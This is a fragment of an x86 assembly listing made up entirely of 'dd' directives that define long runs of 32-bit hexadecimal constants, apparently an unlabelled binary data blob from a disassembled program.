		dd 1C4D0075h, 0C263360Fh, 0A551681Eh, 82085EC0h, 70547E69h
		dd 1416F443h, 0FE9DD8E9h, 92473B00h, 0B639E677h, 4D020DFAh
		dd 3263EE1Bh, 7FC86023h, 2C72E02Eh, 804C378Eh, 0AB7AEC60h
		dd 0C200791Eh, 29BA22F2h, 3F54FDA8h, 3507A998h,	9E87DA27h
		dd 72240D81h, 0A58CC9Ah, 0B0AD3600h, 0DE7CACEDh, 15A3AB6h
		dd 0BDB26700h, 0A98E76F5h, 8075F63Ah, 0AC5387F4h, 1352DDAh
		dd 0AB199A7h, 0D03BDFD0h, 0BA005A82h, 0E106BBF2h, 3AD20Dh
		dd 209111DCh, 5A0BFAD7h, 94AE6A00h, 53748103h, 1ECA7417h
		dd 5FF5CC87h, 49D300B5h, 0E9014EABh, 24C5D100h,	0A57C3DACh
		dd 0F4650042h, 5DA00297h, 91005AD8h, 766EAFC2h,	8996E7h
		dd 0BE742487h, 49C44F6Bh, 240E48h, 31025B32h, 90471Fh
		dd 66E0D9BBh, 2526B764h, 9E2B8400h, 18F93CA7h, 86BC1839h
		dd 0C842E02Eh, 92222600h, 0F71BA3DEh, 0F8E1614Fh, 0C87C99A0h
		dd 1800E4C0h, 53B3F78h,	0F8DA7494h, 6C440675h, 0D0D673C4h
		dd 806A250Eh, 79E88020h, 0C243CE9h, 6E54002h, 70C08ADAh
		dd 49FFAD1Fh, 34553C3Eh, 0D7C40072h, 3A33BF80h,	48717C8Fh
		dd 79007373h, 0C90CB651h, 537B03h, 84CBCDFAh, 0EBD1A5A2h
		dd 38DC5400h, 9812C19h,	76A74BFh, 0EA9B3605h, 1C849026h
		dd 5E004345h, 0BEF96D63h, 762D9C7h, 3C780889h, 9FA610F1h
		dd 39732B9Eh, 40095FEh,	724FA814h, 248C9BD8h, 283334h
		dd 77F84EDh, 9D00EE6Dh,	831C294h, 0DDA020h, 0D31D2E7Bh
		dd 0EA4E8682h, 10CAE90Eh, 0DC05C088h, 7C9ACF66h, 7F1300D5h
		dd 0A698EB39h, 730AE0D7h, 9002CCBBh, 75C54200h,	5C76CFDEh
		dd 0FD1264A0h, 2D640008h, 0D1A2F7E0h, 95FBD700h, 0AB9F2420h
		dd 88EF0060h, 0ADB239FDh, 4303626Ah, 0DE2451Fh,	0D8CAF868h
		dd 0F3C60F09h, 3FC0BDECh, 5DE46614h, 8AFB5500h,	0B834107Bh
		dd 0FFAE004Ah, 0F6D1E796h, 0A600BFA2h, 0CDC93580h, 3138B8Fh
		dd 8A0C402Ch, 50B3EDCBh, 680FEFA0h, 4F9D0702h, 0E0970DE7h
		dd 0A9D444h, 10352E87h,	5A044913h, 0CC079092h, 0B01F3C50h
		dd 0A7CC832Bh, 1B56E045h, 2FB43B95h, 4CBAB501h,	0C0665560h
		dd 0DF00BE2Ch, 1EC308B0h, 1CCAA6h, 4CE92620h, 95D2E37Eh
		dd 0DD3D3800h, 0FF0B6DD6h, 0BCD048BFh, 0D4D7DC02h, 0A4409BAFh
		dd 1506CB2Fh, 0D16FB89Eh, 7AC00020h, 0A63C4524h, 0DD00EA77h
		dd 41A1501Eh, 0E83929F0h, 0F89E3007h, 2B2FC6A8h, 0F57E5C16h
		dd 133EA300h, 1F010328h, 87627724h, 504B5055h, 0CF3338F6h
		dd 30D03Ch, 1E322976h, 5656759h, 410717CCh, 0BBB9C0E5h
		dd 0EF1FF9C4h, 0FE264239h, 71B13200h, 90B2363Ch, 0AA340045h
		dd 0A06870E9h, 113961A8h, 278100CAh, 0EEAC738Dh, 5B4700A3h
		dd 692BFC14h, 1D008768h, 4D60BE9Ch, 38C6A6Dh, 4B48B438h
		dd 0A690DF89h, 0CF6B6E2h, 12951500h, 64400E53h,	0D2EF00A1h
		dd 0AA7BABCEh, 8000B9Bh, 8C136997h, 7131ECh, 6BDA06F4h
		dd 1D9079A8h, 36C7DB00h, 34A432E8h, 39783EB1h, 112ED600h
		dd 83F90507h, 1915DC00h, 0EACC419Bh, 8FCA006Ah,	0CDF3F2BDh
		dd 0D80061ADh, 890D9938h, 0B495CBCh, 35711ADDh,	48028983h
		dd 5DF783C0h, 0C42AEBA1h, 4D031884h, 749EDE21h,	0C3298B58h
		dd 0E342C003h, 0F659F851h, 0B4B018EEh, 8B2184Ch, 0A120C400h
		dd 0B42E210h, 56F01C99h, 0C0EC5DCAh, 0EAE8CE6Ch, 1092E51h
		dd 25622Ah, 19F84BB4h, 31060ED1h, 0F663D78Ah, 2A803901h
		dd 0C6032D4Fh, 0E8091354h, 719290ECh, 19C81F8Ch, 0BD164082h
		dd 0FE97B423h, 0A259BB00h, 0E504568Bh, 0CCC1340h, 2D850CE4h
		dd 0C400D168h, 0EEEF0A47h, 0B14D14h, 466E4F32h,	0C0CD8CB9h
		dd 4308158h, 899D152Dh,	35EE5C80h, 36D1007Bh, 0F70A93A8h
		dd 370B7ACAh, 6797D9Ah,	0E428850Ah, 0F4A1986Fh,	6178001Ch
		dd 0CD0D6BC1h, 40B8C0C7h, 1556C614h, 29EC00D6h,	6CBB7A68h
		dd 58010053h, 0C6D4631Ah, 0B60095CFh, 401E4A4Bh, 8C8DBBh
		dd 9E02E672h, 0C065ECFBh, 8C488726h, 0B5C49300h, 1FA6B410h
		dd 0C0D41C92h, 0C1467DDBh, 9700CAD8h, 0EBE420D9h, 1D0E1A4h
		dd 0A9C9D131h, 0E42AE6E7h, 0F95CA727h, 0C5620096h, 44E97BECh
		dd 9CF328C9h, 37133BC5h, 0B3389A80h, 0EF518631h, 0E16C9B00h
		dd 6F87D9C2h, 22A0773h,	80A10CA3h, 7E42D84Eh, 8DC47F03h
		dd 81160D96h, 6CF853F6h, 727FAEh, 0FBA8501Ch, 0A92FCCCAh
		dd 6F84CD1Fh, 57197F41h, 47718C34h, 3B520C20h, 65BC41C1h
		dd 0A200583Ch, 91DE45E6h, 443B80B9h, 2D3A0014h,	9CDFA3B5h
		dd 4E043B50h, 7D5ED287h, 402A408Eh, 0E377F722h,	2B76860Eh
		dd 648B8050h, 3B7963EDh, 458066EEh, 65CE2C12h, 5F01404Ch
		dd 2DC983D0h, 0C2E024E3h, 1DD8EF0Fh, 0E4EBB810h, 668A03BDh
		dd 2B87C315h, 9BDD33A0h, 0AD99AF00h, 0E36E81CFh, 0BE7F003Eh
		dd 4AA2F419h, 0B500970Ch, 0E2B83351h, 76DA6504h, 682200FDh
		dd 0D699321Dh, 0AD01EEFCh, 0FF64783Fh, 0D9704B5Ch, 11B23C9Bh
		dd 3B72580h, 0D094B4A8h, 89421400h, 0B2A312FEh,	0FF610091h
		dd 77993F5Dh, 0B400CB32h, 544F0319h, 71683h, 0C626DA75h
		dd 42C2343Bh, 5922D8C3h, 43B4905Ah, 5FED004Fh, 0F5E15B61h
		dd 0C40F077Ah, 3DBFDC53h, 5204BEC0h, 0DDBAC0h, 0B6C97E71h
		dd 81509FE8h, 2C5FF600h, 0A9F0B94Fh, 89FC1E02h,	42228398h
		dd 0C890B675h, 6EA71D0h, 0D9628809h, 45CE00A3h,	82503Fh
		dd 3B686597h, 98671240h, 48D0D600h, 0BD1A458Ah,	0CFC4017Ch
		dd 0F18F25Bh, 1935C86Eh, 0D517F507h, 0B290BD03h, 385E607Fh
		dd 75FDA998h, 0C1DE00CDh, 5082B7E5h, 40019A5h, 11AC201Dh
		dd 0FA49EB0Ch, 22BD00D2h, 21C8AB15h, 9150882Eh,	9A00A6ECh
		dd 5444D757h, 145970B5h, 98E4338Ch, 0EA6EA806h,	703A830h
		dd 0C9817D08h, 0D864B063h, 0CC30077h, 49A58827h, 7EF63506h
		dd 0FAF4AB00h, 1AC660E0h, 0A6840697h, 186ED5B1h, 0DAF60809h
		dd 7B10008Bh
		dd 0D7AA49h, 43C73E85h,	0FCAC0468h, 0ED5B8000h,	0B8F50790h
		dd 0D8156065h, 1E4F7611h, 80FC7F38h, 0BF23C946h, 76B1713h
		dd 0D4EBB7FAh, 0C82B1070h, 0AAF69A50h, 4500187Ah, 0B04AEF6Eh
		dd 0AEC15h, 0F25D233Ch,	0E6DBFD3Eh, 2FE41E07h, 0E100B9B3h
		dd 0D0B1C8h, 0EE6C9A9Dh, 1224DD22h, 0B3793A00h,	448B6230h
		dd 2F5002A8h, 8231ACE8h, 1CD5A940h, 0C57ADE1Dh,	16DA6040h
		dd 0C105261Bh, 83B8750Eh, 229EFCBEh, 8CA6B300h,	0D1533F79h
		dd 850B0037h, 0D46C9447h, 0C100E7E9h, 1DBBA6ABh, 0A33A3Eh
		dd 906A2BACh, 0CDE20581h, 5DC9A107h, 0A7100FBDh, 9F75AFh
		dd 0E307DF1Eh, 0EC3B4D67h, 0B109537Bh, 7A080Dh,	58161201h
		dd 3D8C0086h, 0CABAFF2Eh, 0C1003427h, 7C61F0DEh, 0C280AEAFh
		dd 5B745820h, 53A1B38Eh, 6AD509B4h, 2C9B06C3h, 0BF9ED20h
		dd 0AF03968Fh, 93B19261h, 0A36EFCDAh, 317E5503h, 0B8490BA2h
		dd 0A82322Eh, 20D5EC13h, 564A0038h, 0A66452AEh,	862CDF00h
		dd 959A55B6h, 48EE0E87h, 0A980DB98h, 0EDE6064Ah, 1A017B00h
		dd 0C7DF7A09h, 0D51D00A1h, 6E2211B5h, 2B00B27Eh, 0EBF00362h
		dd 1F195F9Eh, 8055F53Bh, 8F2A974Eh, 0E600EF31h,	6347D7C6h
		dd 0F15AB1h, 0F94A83F6h, 2A3A9190h, 8809190Eh, 0C5124082h
		dd 0E149E1Ah, 139D226Fh, 461B8581h, 789867Ch, 0F0303EDDh
		dd 9BC739B5h, 9D37B28Bh, 18187E06h, 9C27B300h, 0C7EEDC5Fh
		dd 0C667002Eh, 3132843Ah, 0F800B25Dh, 6E01F381h, 6A7633h
		dd 0F07B699Ah, 6B6F06ACh, 48E2BC16h, 3CB17F00h,	0AAA42Ah
		dd 11B35F5Dh, 0EE31D16Fh, 36F3E700h, 3BF95734h,	64475193h
		dd 13A043h, 0A4821A88h,	2B33E58Dh, 0B80004E8h, 54522A3Fh
		dd 0C5834Eh, 43EA316Bh,	0FF0244FDh, 2B671703h, 0FBB1D773h
		dd 0F2DD93DAh, 2A9EE049h, 0AD90FD8h, 13C31F07h,	0C0C4EDF0h
		dd 10803899h, 3E0772E8h, 77E97C2Eh, 782F1430h, 0C64400D8h
		dd 0E7A4A00Ch, 72C0C85Fh, 0F9606AA3h, 8DBA3E38h, 5B30293h
		dd 0C0F121D5h, 406A9E73h, 0F64ECB00h, 51707556h, 0F77801ABh
		dd 1FA239DAh, 0EF003E37h, 0C1801229h, 206F0055h, 7F1310CDh
		dd 4B03DE6Bh, 9DC7D533h, 4F15C874h, 304700C9h, 0F44303ACh
		dd 0CF5875D2h, 5BB600E3h, 5FA35A2h, 36DE1422h, 7B7DA010h
		dd 0C082008Ah, 669D5FFDh, 0F57AA4EFh, 9B08154h,	0DD04F600h
		dd 0F480B62Eh, 6DC3E8Bh, 0D6B1AB14h, 26175300h,	0E964FB9Ah
		dd 39089C00h, 0DAE20621h, 0A9C40357h, 2C526998h, 0FBE05100h
		dd 9CD5AA3Bh, 901D0095h, 92F0CA3Ah, 2C005AF7h, 9B04E62Ah
		dd 1DB42F8Dh, 0BA90029Ah, 4F072005h, 0FC80AF23h, 10321Bh
		dd 24CA73D9h, 0DDE1B336h, 5E00AEB0h, 669BE7E2h,	4DEE654h
		dd 4C3C09C4h, 3DB48879h, 7A1F2448h, 89529B3Ah, 1DA4CDh
		dd 99A4E6Ch, 8C1B0012h,	58DA3045h, 7E1A53FFh, 1D1046B8h
		dd 0EDC9C104h, 7E1080BEh, 94AE5FB6h, 0F56E0027h, 5E9B1FD7h
		dd 0DD00DEB5h, 71C2C7C9h, 618E7EB3h, 223A295Ah,	6C407E9h
		dd 446F1B44h, 264619F1h, 382251F8h, 140F5013h, 0AD1C20C8h
		dd 0CB08B242h, 6318DF54h, 39DC4179h, 0E180103Ah, 8F932203h
		dd 540F2081h, 2077331Ah, 3F1F79D6h, 84F300A5h, 72C9FC52h
		dd 8B004F3Ah, 930615D3h, 2826FBh, 0EE197B44h, 85687EE9h
		dd 1238E2F6h, 1A090510h, 0CEC0620Fh, 9D287Ah, 0E086E56Bh
		dd 270DEEA8h, 703C4F58h, 6AC49000h, 0BE80D405h,	0FDC70761h
		dd 0D0593E10h, 2A92B4BCh, 18538700h, 0C101FE5Fh, 841B266Ch
		dd 0AA780F47h, 283B6103h, 0D48116E3h, 2651FC35h, 0D799FB00h
		dd 0A57D98C5h, 38F77117h, 6B144BAEh, 6E03DCD3h,	64D605A6h
		dd 6540B088h, 8A76D800h, 0E944CE9Ch, 16030F4Dh,	0FC20D4F7h
		dd 683C04FEh, 7B0083Ch,	0A8FACA1Ah, 8098AA70h, 46B10031h
		dd 76C61638h, 3C01B95Ch, 9F2AC141h, 0CED4EE94h,	0F2DA6083h
		dd 0C6C0EF61h, 66002974h, 5F685AB2h, 0D1AE7Ah, 5945265Bh
		dd 925DE6C5h, 49675600h, 0C1F8AF04h, 8A76F0h, 9442B3EDh
		dd 0DF26F643h, 38A6EE00h, 0C2AF059Eh, 0CC010047h, 0EDFB7D69h
		dd 8F488EBAh, 0C0F0040h, 6044B42Bh, 99F0049h, 712422ABh
		dd 0C700B083h, 4667C14Fh, 705A9C0Fh, 0DEB0031h,	0C4AD200Eh
		dd 5500C764h, 36348BD8h, 4CF0A8h, 3210154Eh, 0E1356FC5h
		dd 0F8D63100h, 846119ADh, 0A7EE57h, 0BB39D91Ah,	9DA31F0Ah
		dd 0B479DB1Dh, 80863840h, 0E7DAD66h, 0F197EF45h, 0E4E8F8A0h
		dd 1B00D55Fh, 8413684Eh, 1926EB2h, 19B4CE95h, 0D4E5BF25h
		dd 81003936h, 969052DAh, 9D625Eh, 0A2D4920Dh, 2699FA95h
		dd 5CB95A09h, 10428033h, 1D94190Bh, 470488E7h, 5099EACFh
		dd 15FD1F9Dh, 0CE8A1E28h, 0F2792500h, 0CE831AD5h, 0FEAB7955h
		dd 4AED0021h, 62A5E501h, 9E01C960h, 0A8BE52F7h,	16D0E154h
		dd 0F45E0071h, 2C9C7F14h, 0A4A03285h, 91F649A4h, 95BAF707h
		dd 90448D60h, 296E2080h, 9B3100F1h, 44C7465Ah, 0B30017DCh
		dd 5132CD4Eh, 545DAEh, 3CF76795h, 4F89BE59h, 4960301h
		dd 0BDED5631h, 61B75820h, 1C4E1166h, 0A1196075h, 300B990h
		dd 37DF3E42h, 0F41F6976h, 0F8F250D6h, 65C9A78h,	0EF80173Bh
		dd 5A0040E5h, 47D388FDh, 0CEAC9F3h, 2CB395EBh, 980125C8h
		dd 238C010Eh, 74F9AA72h, 13355130h, 0C214173h, 0A01039BDh
		dd 1FEFA3Bh, 0F76980BDh, 8CE4025Bh, 1D6C00DDh, 20266104h
		dd 82003364h, 4A124C21h, 0DD904Dh, 47F23FC0h, 0D4ED66BFh
		dd 0FDD92E07h, 8E0E586h, 29D30E0h, 97E6451Ah, 40DD2475h
		dd 918C58h, 72F9A27Ch, 0C83FCD6Ch, 0D830F200h, 143A9C78h
		dd 511F01F0h, 7CC6E5ADh, 8B921D1h, 3CE071ECh, 3E9D0888h
		dd 0A480EF3Dh, 0FC41BF63h, 4D00D90Eh, 59C311D7h, 74A8E45h
		dd 8025DD22h, 5480BE90h, 67BF313Ch, 7A014890h, 8FC6A0F0h
		dd 4421966Bh, 3D5DE4h, 99BEE78h, 0E324E105h, 0B17B9800h
		dd 9FBA5F27h, 55B70760h, 0CB150DE0h, 0F356F300h, 4C12B382h
		dd 4800DF41h, 5B6A1DCBh, 8602005Ch, 63D00A8Dh, 0B89A0FB0h
		dd 0D95B100h, 0C2597BFCh, 46510744h, 0D06E088Eh, 0C814C9AFh
		dd 1EC5CC00h, 94AAD65Fh, 691201E1h, 7B924A63h, 0CD5C301Bh
		dd 0F338D2FAh, 0C0450646h, 181E41h, 0E6697EDEh,	60667182h
		dd 4B64B30h, 489255Eh, 7D356DA6h, 4230873Bh, 8B02488Dh
		dd 0BF7C48F8h, 707D83h,	63C5FDADh, 0F0A5FE51h, 2B9A821Fh
		dd 65DBB740h, 3BB9A902h, 53BC9B71h, 68CB512h, 20B31961h
		dd 7481BA03h, 0B2B70Eh,	3E32F410h, 13958B15h, 0C61C3600h
		dd 6924E6FAh, 5C7500F6h, 39230B67h, 25E6C73Bh, 0D4B51D02h
		dd 8048C6DEh, 172A01D8h, 0E86900C9h, 6A5D1341h,	9D17075Fh
		dd 0ED00D22Fh, 0A0550CEDh, 0ADE630C9h, 45826DE0h, 3D9FB80h
		dd 72F05094h, 8C005EA3h, 0B9E02A8Fh, 7627CB22h,	0CCBC03E2h
		dd 0C5999202h, 4F655480h, 8BDDE801h, 0FA9490D8h, 172C160h
		dd 2CA7835Ch, 0F8569D68h, 18766930h, 0F1127B73h, 0C600758Dh
		dd 6261BA28h, 0F5ED0116h, 0AC49F9BBh, 0F87875EEh, 4F3DC536h
		dd 3DD51ECAh, 0D004A96h, 0C6C12EB9h, 62990E4Eh,	0CE3D8A3h
		dd 0DC80C05Ch, 9016F7A1h, 0AE4D1Fh, 2FAB357Dh, 7512F3F0h
		dd 40002507h, 0AA2AF60Bh, 5CA10020h, 0E705AFD8h, 0E600B422h
		dd 0B2CB94E9h, 0BC137Bh, 2A6203AEh, 0A21AA916h,	19D4DF1Dh
		dd 0C5D15A41h, 0BCF5846Dh
		dd 0AA6007F9h, 0E923078Bh, 50A89048h, 47923501h, 0CCBE7A07h
		dd 2A30065Ch, 1F88FE70h, 0C0A28418h, 0B624C102h, 203EEB3Dh
		dd 66D880EDh, 0C4AB7008h, 60B2174Ah, 6BBE09A2h,	0BB07BC76h
		dd 0A7A0F2E8h, 0A13026h, 2A6E65Ah, 357385C7h, 0D176210Fh
		dd 0C67B4075h, 13611198h, 0BB463224h, 0BBF33500h, 0B0488AB6h
		dd 0DEB9000Ch, 0DD6614E5h, 7EE46AD2h, 0B512CA72h, 0C05E2BCh
		dd 90C05C6Eh, 764F0F88h, 68F300B3h, 0E23891FCh,	1107BBECh
		dd 0DB1560E0h, 0E0A9A253h, 70B2C3Ch, 9DB49170h,	0CDA700ECh
		dd 42072801h, 7CBDB162h, 36798D81h, 0A4E43FC9h,	0A8200033h
		dd 4F18B52Ah, 7C00313Dh, 7FB930C5h, 0E4C24Ch, 0D01A1462h
		dd 6C77B638h, 0E750E217h, 8035800Eh, 45F6E696h,	876500CEh
		dd 40E4A5C3h, 7E00DFC5h, 6752A2Eh, 0EC5263h, 0DA979688h
		dd 67E3539Dh, 5DBEA300h, 1BB2FF46h, 297000A0h, 687EE4EAh
		dd 267F8421h, 0EFB1C03h, 0F010228Ch, 86CE6Ch, 0F63280E0h
		dd 2181051Fh, 0B03A6E4h, 0CB2378Bh, 80F98043h, 32122EDAh
		dd 0EDB900FEh, 0FF95080Ah, 74702200h, 0E89F84E4h, 0C9D60158h
		dd 750DFBDh, 116EE447h,	0A49C59h, 644C51B6h, 2C1AF89Eh
		dd 75CADh, 73A6245Ah, 0BD173FEDh, 4F0154F3h, 96E06606h
		dd 21C9208Eh, 0F4F9A1E0h, 86049E5Eh, 47142B55h,	0E067F4A0h
		dd 1209410h, 0A4971EEAh, 552C8052h, 0B1185A9Dh,	0F8C20F9Eh
		dd 72009FC3h, 0A577A1ABh, 0DF949601h, 752D3B59h, 5C9FD9F0h
		dd 4E00AC14h, 0EC5FE71Ah, 2100ED2Ch, 6D80D5C5h,	0F2306Ch
		dd 0DE02E901h, 0F179591h, 0BAAA363Ah, 8F2B84B5h, 9C0EC64h
		dd 374C763h, 7D140C5Ah,	0BA98503h, 0CAD8C767h, 0F6016302h
		dd 49829187h, 21E8E801h, 1F3400DAh, 0BF150773h,	3726BEEDh
		dd 2CBF8C9Ah, 97862C05h, 60245Eh, 0F411089Ch, 0D38848Fh
		dd 3FF23312h, 67647600h, 0B821E85h, 7E69DCE7h, 0C014F104h
		dd 22DEEB3Ch, 4E166803h, 98911A5Bh, 50F54F9h, 1E7115Fh
		dd 841CC065h, 0C913BF33h, 78439A36h, 91FCEAEBh,	0E6312B3Dh
		dd 7D70BCCh, 3911855Eh,	82D944B6h, 0C880E41Dh, 8269F00Dh
		dd 4FABAE00h, 1C7B3E4Eh, 0F8BB24EBh, 0AA628070h, 3429A8FFh
		dd 42B93D1Ch, 3B61DCC0h, 3476C6Fh, 54C83792h, 0F0B868F4h
		dd 6890AF11h, 0DD3CA914h, 97B18088h, 3B92617h, 0A2414ADAh
		dd 16AB2025h, 0AE7EABB8h, 0F34C3303h, 0F8E91156h, 0A12564C2h
		dd 48C981A0h, 0DF09D8h,	6C9237CAh, 0FE7F96DCh, 0A8581300h
		dd 816A0239h, 9FF83118h, 0C85EB148h, 0BA257269h, 9AFC00C8h
		dd 0FED9918Eh, 32770793h, 4076D89Bh, 51E50735h,	38CAA07h
		dd 36ECA3Ch, 0F222F344h, 405868h, 2C49C2EDh, 0AF5AB09Eh
		dd 0A8BE233Ah, 410084DFh, 871131A5h, 333708h, 0C8E70A4Fh
		dd 64C18CDAh, 0C8C06072h, 0C38F4342h, 722A0065h, 22BF75B8h
		dd 6B01E9BBh, 6EA4FB31h, 0C4D8E39Fh, 8A1F00E5h,	79CB61A3h
		dd 160091D1h, 769D8EAAh, 1382E23Ah, 1A032A4h, 36BBE5DCh
		dd 2251EC40h, 2E609101h, 0EEE6BE5Ch, 1DFCC2E4h,	0FAAE52B8h
		dd 9AF1A500h, 8E2AB4CCh, 6E020DEAh, 754549ACh, 287050CDh
		dd 38A4F7AEh, 90246A7Bh, 4B260134h, 20A53BFFh, 970046F8h
		dd 0A03338F5h, 1E682FD4h, 0C070F29Eh, 0FB5B60DEh, 931291A6h
		dd 8C03546Dh, 0F81206CAh, 40F2BA3Fh, 72058B2Ah,	0AA28D977h
		dd 90B58000h, 0A8F2B25Bh, 610DF9C8h, 0DC8790B9h, 4A0C6449h
		dd 45FEB700h, 161EE815h, 0A7EE00CDh, 0C551341Ah, 557AAB0Bh
		dd 73BC3EAh, 94D70139h,	0A4194B69h, 0CF0E3C3Ch,	0A160388Ch
		dd 17E03627h, 62A56500h, 55D1138Dh, 18047448h, 0E8F0A6CAh
		dd 3700F3E0h, 0BB2BD96Bh, 7CC6518h, 90EF62C5h, 97E05001h
		dd 0EC4CA137h, 93D70075h, 5E1E20EEh, 26161339h,	257C43A9h
		dd 8A98E4A0h, 0CE004B93h, 320FA77Ch, 3B4F6F01h,	9400B0E9h
		dd 2C179BF3h, 80012FCEh, 72153103h, 4BC111C8h, 7EA930h
		dd 8FEFB17Dh, 6A621CE0h, 0F514C02h, 0E05D958Ch,	101F98h
		dd 0ED372378h, 5674DC47h, 0F1014B01h, 0A0248D22h, 61A464h
		dd 38A1B749h, 0A26AEAC9h, 0D94F1A09h, 0E830601Eh, 8CCF5997h
		dd 0E4F96700h, 32500780h, 94D40C00h, 7C6466A6h,	0A4E0C0D9h
		dd 0C8A563FDh, 0E701CA00h, 3B99A8E0h, 0F59C0059h, 453F8D3h
		dd 9800CE10h, 0BAD28DC0h, 0CA73005h, 84C20307h,	781C43ECh
		dd 63801EF1h, 90FB8BE3h, 3C9B00EBh, 81CB7D24h, 2712C03Bh
		dd 244F0943h, 8E3EC001h, 958384h, 0C4052872h, 0C9F32412h
		dd 0CC765F2Eh, 0E3094000h, 3932A693h, 0DF8045C6h, 9B1846F7h
		dd 5300555Ah, 93D80C76h, 1C1A9CF2h, 0BAD4F1h, 1394AF01h
		dd 0B00CC6Bh, 0D79AA87Eh, 142D72C5h, 3439F757h,	1C05F13Ah
		dd 800CEB41h, 9093FA3Dh, 894311Dh, 1E827F05h, 255BA400h
		dd 0F75ADBh, 70479E01h,	4A61561Ah, 4BB039h, 876C15EFh
		dd 205CF0h, 0A4A32A82h,	55A066C4h, 0C19EED00h, 2FBAB41Dh
		dd 65D82EA9h, 54C60083h, 0D4841F28h, 6859FB12h,	6A2BC04h
		dd 9800D4A5h, 9206A5Ch,	316C495Bh, 0CFF36400h, 0C70153A2h
		dd 56C0ED29h, 603CA52Ah, 6C7A75h, 1BE6D854h, 0DEFFF88Eh
		dd 0A4653Ah, 26376030h,	598FD4B5h, 0A600F44Dh, 83E11C5Eh
		dd 0ED508410h, 59583ED0h, 2FC6065Eh, 68BBCh, 88896A17h
		dd 0DC55498Ch, 3BA9A700h, 386137EAh, 4CB40757h,	0D476F547h
		dd 0A198A03Dh, 0C0D8455Ch, 3827BAC3h, 50724C54h, 0B26E1501h
		dd 81F0B96Dh, 0B178FBC4h, 0ACEDF494h, 3AEFA60h,	86D9554Eh
		dd 0F9A0CB1Eh, 28007B9Fh, 2098EF91h, 257DB6h, 6231D478h
		dd 6D0D3B1Eh, 572ED800h, 0A4E0EE6Ch, 0DADF0072h, 771A7598h
		dd 0F8F4E4CEh, 2B663C00h, 9EA8F6D9h, 35420094h,	0E9C53AE3h
		dd 1805FEE7h, 0EA171B0Ah, 458AA3C1h, 0B8D3CE30h, 5419009Ch
		dd 5B024999h, 3500C03Fh, 0B29816CDh, 51296Ah, 66822171h
		dd 2CB80FE7h, 0F7BF9900h, 62CFA7B1h, 9CA10379h,	8418B6EBh
		dd 0D22A9880h, 0C4F14403h, 8307ECA6h, 0DDADF875h, 3A8A7EEEh
		dd 1F037C66h, 0E5EA808h, 0E37AB881h, 0C528F803h, 98A39B45h
		dd 5E4ED1h, 0C169A70h, 472A965h, 230E700h, 0AEE2F82Eh
		dd 0A2FC0040h, 2D057A4Eh, 921283C5h, 19001831h,	77C01AAFh
		dd 51B40CC3h, 2910BA48h, 5E352600h, 21447EA1h, 615D00BFh
		dd 0FF19CE8Eh, 85059DA6h, 3E2D3037h, 3920A0C6h,	0E03FE2C9h
		dd 0E380B680h, 0B13D2634h, 0CB701DF8h, 0D5EBEE0Eh, 9F9D9FE0h
		dd 70C5D80h, 762016Dh, 0C0203FBCh, 0FEAF4163h, 4FF8C0D9h
		dd 0C73AEE01h, 222C9556h, 0C5D4CCDDh, 326B4CAFh, 0BC80030Ch
		dd 0FA1735E0h, 34009C5Eh, 84EE41Ch, 0E88D1EC9h,	7833C0CBh
		dd 0AF9D21D2h, 16B78600h, 0A8BEC4ADh, 88E456h, 10962B9Bh
		dd 0F2C6D519h, 0B2550200h, 0E5703FF0h, 1FCE0056h, 0BB79748Fh
		dd 27005863h, 0D3A0A8F2h, 7F194670h, 265B03C0h,	96C609ABh
		dd 6FBA65F8h, 35EC1800h, 5D1ED22Eh, 0BDB03EA5h,	64797D80h
		dd 7CF513D8h, 808AD000h, 1CC27F2Ah, 0EEB600B4h,	3981279Ah
		dd 0C001F2E0h, 0E1CB1FDAh, 6770BE51h, 5DB70030h, 9A123357h
		dd 4800BF44h, 0D2811470h, 7896E24Fh, 76910022h,	0F3C7DCC0h
		dd 861DFB41h, 0D600F60Bh, 4DA99607h, 17FF00A0h,	1931E936h
		dd 6D053B87h, 0C98D773Dh, 43A87A82h, 0B6F0B074h, 7E2E0099h
		dd 0F250EAD1h, 0F400825Eh
		dd 0C843D49Ah, 1956D9Bh, 3416B50Ah, 20CF8D06h, 6500AEACh
		dd 0EABA8B82h, 2E218Eh,	58625740h, 7FF66DD8h, 0B3555100h
		dd 0BD766595h, 4E70B51Ah, 0C4138828h, 515DFE07h, 0E86057BFh
		dd 746FFC7h, 2C61B53Dh,	50D7D0D1h, 1B00CC7Ah, 9C29D3BAh
		dd 0F8F763Fh, 6153AAA5h, 0DDC3C242h, 9B4C1048h,	0D59980F7h
		dd 0DA4A8219h, 0F92DE829h, 2984E2D1h, 71E7D1Bh,	56C02B75h
		dd 3049E778h, 6620AFCFh, 0B4075399h, 0AD24B3CEh, 6C8983CEh
		dd 2B3C90C1h, 338D0361h, 47528EA3h, 0EC2D481Dh,	0FDF9D440h
		dd 1B60D39Ah, 702942FFh, 0C7B2EEC0h, 18EF4928h,	21500678h
		dd 5D636438h, 0F9B19E50h, 4DF86743h, 2DBB1C74h,	0C1829D17h
		dd 5239A470h, 0D1506033h, 0E8495E30h, 0F8A28040h, 4A60C7D8h
		dd 1780FED4h, 924C20DFh, 0D90088A4h, 7BCBDDC0h,	27984A29h
		dd 2E00F658h, 0CC15EC77h, 901F36FCh, 8680FC79h,	91E0C755h
		dd 98D41E80h, 6C4E03A2h, 0CE8157Fh, 0A00033CDh,	50055462h
		dd 0FF3D41h, 4D6686A5h,	0AA7D8440h, 0EBCFA001h,	0BF47768Eh
		dd 0B21BF980h, 0BA3817Ah, 9F801700h, 7F38852Fh,	0FCC0019Ch
		dd 0E38A466Ah, 2709D069h, 6C41202h, 0C0A65EE0h,	1F75586h
		dd 0F37BE373h, 60E24BBEh, 0ECA98F75h, 0F0A856CCh, 0E1550487h
		dd 2064F83Ah, 3F001B80h, 95115E94h, 4AAF2Dh, 0A74BFF9Eh
		dd 73A5D5Ch, 30E11E01h,	5F36C91Bh, 84212890h, 6B488FF0h
		dd 24376342h, 0BFE02175h, 0B5104F12h, 0BC698832h, 44C84940h
		dd 2344F3BBh, 0FD0344F6h, 4044EA84h, 28A05793h,	0B1890D91h
		dd 0CDA43C40h, 47FB815Dh, 480FA428h, 8C64545h, 0AD419F50h
		dd 3901603Dh, 0B531009Dh, 480E0078h, 716F18Ch, 61000C10h
		dd 0C338C453h, 0B7959C35h, 0E6000750h, 0A2D1D9CAh, 0AA9808h
		dd 6F77271h, 4C26B21Ch,	0E3F98100h, 0ACD42494h,	1371006Bh
		dd 19F5C01Eh, 16009DC2h, 0FDCA55C5h, 0E3D13720h, 399FD8h
		dd 0FB512FD3h, 0D7413ABCh, 807F623Ah, 0C5936C3Eh, 1C53508Bh
